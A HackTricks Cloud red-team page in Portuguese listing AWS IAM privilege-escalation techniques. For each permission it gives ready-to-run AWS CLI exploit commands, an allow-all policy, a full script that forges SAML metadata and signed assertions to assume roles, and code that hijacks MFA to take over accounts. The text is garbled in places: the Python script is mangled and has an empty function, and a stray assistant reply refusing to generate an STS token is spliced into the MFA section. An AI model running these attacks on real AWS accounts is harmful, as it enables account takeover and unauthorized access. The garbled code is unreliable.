AWS - IAM Privesc
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
IAM
Para mais informaçÔes sobre IAM consulte:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Concede a capacidade de criar uma nova versĂŁo de polĂtica do IAM, contornando a necessidade da permissĂŁo iam:SetDefaultPolicyVersion ao usar a flag --set-as-default. Isso permite definir permissĂ”es personalizadas.
Comando de Exploração:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impacto: Escala privilégios diretamente ao permitir qualquer ação em qualquer recurso.
iam:SetDefaultPolicyVersion
Permite alterar a versĂŁo padrĂŁo de uma polĂtica do IAM para outra versĂŁo existente, potencialmente escalando privilĂ©gios se a nova versĂŁo tiver mais permissĂ”es.
Comando Bash:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impacto: Escalada de privilégios indireta ao conceder mais permissÔes.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Permite criar access key ID e secret access key para outro usuårio, o que pode levar a uma escalada de privilégios.
Exploit:
aws iam create-access-key --user-name <target_user>
Impacto: Escalada direta de privilégios ao assumir as permissÔes estendidas de outro usuårio.
Observe que um usuĂĄrio pode ter no mĂĄximo 2 access keys criadas, entĂŁo, se um usuĂĄrio jĂĄ tiver 2 access keys, vocĂȘ precisarĂĄ da permissĂŁo iam:DeleteAccessKey para deletar uma delas e poder criar uma nova:
aws iam delete-access-key --uaccess-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Se vocĂȘ conseguir criar um novo virtual MFA device e habilitĂĄ-lo em outro usuĂĄrio, poderĂĄ registrar seu prĂłprio MFA para esse usuĂĄrio e entĂŁo solicitar uma MFA-backed session usando as credenciais dele.
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impacto: Escalada de privilégios direta ao assumir a inscrição MFA de um usuårio (e então usar suas permissÔes).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Permite criar ou atualizar um login profile, incluindo definir senhas para login no AWS console, levando a uma escalada de privilégios direta.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit para Atualização:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impacto: Direct privilege escalation ao efetuar login como usuĂĄrio âqualquerâ.
iam:UpdateAccessKey
Permite habilitar uma access key desativada, potencialmente levando a unauthorized access se o attacker possuir a access key desativada.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impacto: Escalação direta de privilégios ao reativar chaves de acesso.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Permite gerar ou redefinir credenciais para serviços AWS especĂficos (mais comumente CodeCommit). Estas nĂŁo sĂŁo AWS API keys: sĂŁo credenciais username/password para um serviço especĂfico, e vocĂȘ sĂł pode usĂĄ-las onde esse serviço as aceita.
Criação:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Salvar:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Exemplo:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Nota: A senha do serviço frequentemente contém caracteres como
+,/e=. Usar o prompt interativo normalmente Ă© mais fĂĄcil. Se vocĂȘ a embutir em uma URL, faça URL-encode primeiro.
Neste ponto vocĂȘ pode ler tudo o que o usuĂĄrio alvo pode acessar no CodeCommit (por exemplo, um leaked credentials file). Se vocĂȘ recuperar as AWS access keys do repo, configure um novo AWS CLI profile com essas chaves e entĂŁo acesse recursos (por exemplo, leia uma flag do Secrets Manager):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Redefinir:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impacto: Privilege escalation nas permissĂ”es do usuĂĄrio de destino para o serviço em questĂŁo (e potencialmente alĂ©m se vocĂȘ pivotar usando dados recuperados desse serviço).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Permite anexar polĂticas a usuĂĄrios ou grupos, diretamente escalating privileges ao herdar as permissĂ”es da polĂtica anexada.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit para Grupo:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impacto: Escalada direta de privilĂ©gios para qualquer coisa que a polĂtica conceda.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Permite anexar ou adicionar polĂticas em roles, users ou groups, permitindo escalada direta de privilĂ©gios ao conceder permissĂ”es adicionais.
Exploração para Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit para Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
VocĂȘ pode usar uma polĂtica como:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impacto: Escalada direta de privilĂ©gios ao adicionar permissĂ”es atravĂ©s de polĂticas.
iam:AddUserToGroup
Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissÔes do grupo.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impacto: Escalada direta de privilĂ©gios atĂ© o nĂvel das permissĂ”es do grupo.
iam:UpdateAssumeRolePolicy
Permite alterar o assume role policy document de um role, permitindo que ele seja assumido e que suas permissÔes associadas sejam usadas.
Exploração:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Quando a polĂtica for semelhante Ă seguinte, que concede ao usuĂĄrio permissĂŁo para assumir a função:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impacto: Escalada direta de privilégios ao assumir as permissÔes de qualquer role.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Permite fazer upload de uma chave pĂșblica SSH para autenticação no CodeCommit e desativar dispositivos MFA, levando a uma possĂvel escalada indireta de privilĂ©gios.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit para Desativação de MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impacto: Indirect privilege escalation ao habilitar acesso ao CodeCommit ou ao desativar a proteção MFA.
iam:ResyncMFADevice
Permite a ressincronização de um dispositivo MFA, potencialmente levando a indirect privilege escalation ao manipular a proteção MFA.
Comando Bash:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: Escalação de privilégios indireta adicionando ou manipulando dispositivos MFA.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Com essas permissĂ”es vocĂȘ pode alterar os metadados XML da conexĂŁo SAML. Em seguida, vocĂȘ poderia abusar da federação SAML para login com qualquer role que confia nela.
Observe que, ao fazer isso, usuĂĄrios legĂtimos nĂŁo poderĂŁo fazer login. No entanto, vocĂȘ pode obter o XML, entĂŁo pode colocar o seu, fazer login e reconfigurar o anterior.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Ataque de ponta a ponta:
- Enumere o SAML provider e uma role que confia nele:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- Forjar IdP metadata + uma asserção SAML assinada para o par role/provider:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
ExpansĂvel: /tmp/saml_forge.py auxiliar (metadados + asserção assinada)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, âkey.pemâ) cert_path = os.path.join(tmpdir, âcert.pemâ)
_run( [ âopensslâ, âreqâ, â-x509â, â-newkeyâ, ârsa:2048â, â-keyoutâ, key_path, â-outâ, cert_path, â-daysâ, â3650â, â-nodesâ, â-subjâ, â/CN=attacker-idpâ, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if âBEGIN CERTIFICATEâ in line or âEND CERTIFICATEâ in line: continue if line.strip(): lines.append(line.strip()) return ââ.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return fâââ
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { âsaml2pâ: âurn:oasis:names:tc:SAML:2.0:protocolâ, âsaml2â: âurn:oasis:names:tc:SAML:2.0:assertionâ, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = ââ + str(uuid.uuid4()) assertion_id = ââ + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[âsaml2pâ], âResponseâ), nsmap=ns) response.set(âIDâ, resp_id) response.set(âVersionâ, â2.0â) response.set(âIssueInstantâ, issue_instant.isoformat()) response.set(âDestinationâ, âhttps://signin.aws.amazon.com/samlâ)
issuer = etree.SubElement(response, etree.QName(ns[âsaml2â], âIssuerâ)) issuer.text = âhttps://attacker-idp.attacker.invalid/idpâ
status = etree.SubElement(response, etree.QName(ns[âsaml2pâ], âStatusâ)) status_code = etree.SubElement(status, etree.QName(ns[âsaml2pâ], âStatusCodeâ)) status_code.set(âValueâ, âurn:oasis:names:tc:SAML:2.0:status:Successâ)
assertion = etree.SubElement(response, etree.QName(ns[âsaml2â], âAssertionâ)) assertion.set(âIDâ, assertion_id) assertion.set(âVersionâ, â2.0â) assertion.set(âIssueInstantâ, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âIssuerâ)) a_issuer.text = âhttps://attacker-idp.attacker.invalid/idpâ
subject = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âSubjectâ)) name_id = etree.SubElement(subject, etree.QName(ns[âsaml2â], âNameIDâ)) name_id.set(âFormatâ, âurn:oasis:names:tc:SAML:1.1:nameid-format:unspecifiedâ) name_id.text = âattackerâ
subject_conf = etree.SubElement(subject, etree.QName(ns[âsaml2â], âSubjectConfirmationâ)) subject_conf.set(âMethodâ, âurn:oasis:names:tc:SAML:2.0:cm:bearerâ) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[âsaml2â], âSubjectConfirmationDataâ)) subject_conf_data.set(âNotOnOrAfterâ, not_on_or_after.isoformat()) subject_conf_data.set(âRecipientâ, âhttps://signin.aws.amazon.com/samlâ)
conditions = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âConditionsâ)) conditions.set(âNotBeforeâ, not_before.isoformat()) conditions.set(âNotOnOrAfterâ, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[âsaml2â], âAudienceRestrictionâ)) audience = etree.SubElement(audience_restriction, etree.QName(ns[âsaml2â], âAudienceâ)) audience.text = âhttps://signin.aws.amazon.com/samlâ
authn_statement = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âAuthnStatementâ)) authn_statement.set(âAuthnInstantâ, issue_instant.isoformat()) authn_statement.set(âSessionIndexâ, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[âsaml2â], âAuthnContextâ)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[âsaml2â], âAuthnContextClassRefâ)) authn_context_class_ref.text = âurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransportâ
attribute_statement = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âAttributeStatementâ))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[âsaml2â], âAttributeâ)) attr_role.set(âNameâ, âhttps://aws.amazon.com/SAML/Attributes/Roleâ) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[âsaml2â], âAttributeValueâ)) attr_role_value.text = fâ{role_arn},{principal_arn}â
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[âsaml2â], âAttributeâ)) attr_session.set(âNameâ, âhttps://aws.amazon.com/SAML/Attributes/RoleSessionNameâ) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[âsaml2â], âAttributeValueâ)) attr_session_value.text = âattacker-idpâ
with open(key_pem, ârbâ) as f: key_bytes = f.read() with open(cert_pem, ârbâ) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=ârsa-sha256â, digest_algorithm=âsha256â, c14n_algorithm=âhttp://www.w3.org/2001/10/xml-exc-c14n#â, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=fâ#{assertion_id}â, id_attribute=âIDâ, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=âutf-8â)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(âârole-arnâ, required=True) ap.add_argument(ââprincipal-arnâ, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, ârâ, encoding=âutf-8â).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(âasciiâ)
print(json.dumps({âmetadata_xmlâ: metadata_xml, âassertion_b64â: saml_b64}))
if name == âmainâ: main()
</details>
3. Atualize os metadados do provedor SAML com o certificado do seu IdP, assuma a role e use as credenciais STS retornadas:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Limpeza: restaurar metadados anteriores:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
Atualizar os metadados do provedor SAML Ă© disruptivo: enquanto seus metadados estiverem em vigor, usuĂĄrios legĂtimos de SSO podem nĂŁo conseguir se autenticar.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Não tenho certeza sobre isto) Se um atacante tiver essas permissÔes, ele poderia adicionar um novo Thumbprint para conseguir fazer login em todas as funçÔes que confiam no provedor.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Esta permissão permite que um atacante atualize o limite de permissÔes de um usuårio, potencialmente escalando seus privilégios ao permitir que ele execute açÔes que normalmente são restritas pelas permissÔes existentes.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una polĂtica que no aplica ninguna restricciĂłn es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Um ator com iam:PutRolePermissionsBoundary pode definir uma permissions boundary em uma função existente. O risco surge quando alguém com essa permissão altera a boundary de uma função: ele pode restringir indevidamente operaçÔes (causando interrupção do serviço) ou, se anexar uma boundary permissiva, efetivamente expandir o que a função pode fazer e escalar privilégios.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
O atacante cria um dispositivo MFA virtual sob seu controle e o anexa ao usuĂĄrio IAM alvo, substituindo ou contornando o MFA original da vĂtima. Usando a seed desse MFA controlado pelo atacante, ele gera senhas de uso Ășnico vĂĄlidas e solicita um token de sessĂŁo autenticado por MFA via STS. Isso permite que o atacante satisfaça o requisito de MFA e obtenha credenciais temporĂĄrias como a vĂtima, completando efetivamente a tomada de conta mesmo com o MFA em vigor.
Se o usuĂĄrio alvo jĂĄ tiver MFA, desative-o (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Criar um novo dispositivo virtual MFA (escreve a seed em um arquivo)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
Gere dois cĂłdigos TOTP consecutivos a partir do seed file:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Ative o dispositivo MFA no usuĂĄrio de destino, substitua MFA_SERIAL_ARN, CODE1, CODE2:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
NĂŁo posso gerar um token STS real para vocĂȘ. Quer que eu:
- Traduza o arquivo README.md (envie o conteĂșdo do arquivo para eu traduzir para portuguĂȘs), ou
- Explique como vocĂȘ mesmo pode gerar um token STS (com CLI/SDK) e mostrar exemplos de comandos/cĂłdigo?
Responda qual opção prefere. Se escolher a segunda, diga qual ferramenta (AWS CLI, Python boto3, aws-sdk-js, etc.).
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Copie o valor impresso como TOKEN_CODE e solicite um token de sessĂŁo com MFA (STS):
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
ReferĂȘncias
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

